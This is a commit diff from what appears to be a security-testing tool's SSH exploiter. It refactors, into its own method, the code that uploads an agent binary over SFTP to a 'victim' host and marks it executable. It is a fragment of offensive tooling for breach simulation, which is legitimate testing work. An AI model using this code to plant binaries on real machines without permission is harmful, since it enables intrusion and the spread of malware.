Agent: Extract method _upload_agent_binary

This commit is contained in:
Kekoa Kaaikala 2022-10-04 21:13:49 +00:00 committed by Ilija Lazoroski
parent 9dac64b60e
commit dc8a0ac2ad
1 changed files with 25 additions and 17 deletions

View File

@ -256,23 +256,7 @@ class SSHExploiter(HostExploiter):
monkey_path_on_victim = get_agent_dst_path(self.host)
try:
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
status = ScanStatus.USED
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
self.telemetry_messenger.send_telemetry(
T1105Telem(
@ -332,6 +316,30 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _upload_agent_binary(
self,
ssh: paramiko.SSHClient,
agent_binary_file_object: io.BytesIO,
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try:
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
return ScanStatus.USED
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return ScanStatus.SCANNED
def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
):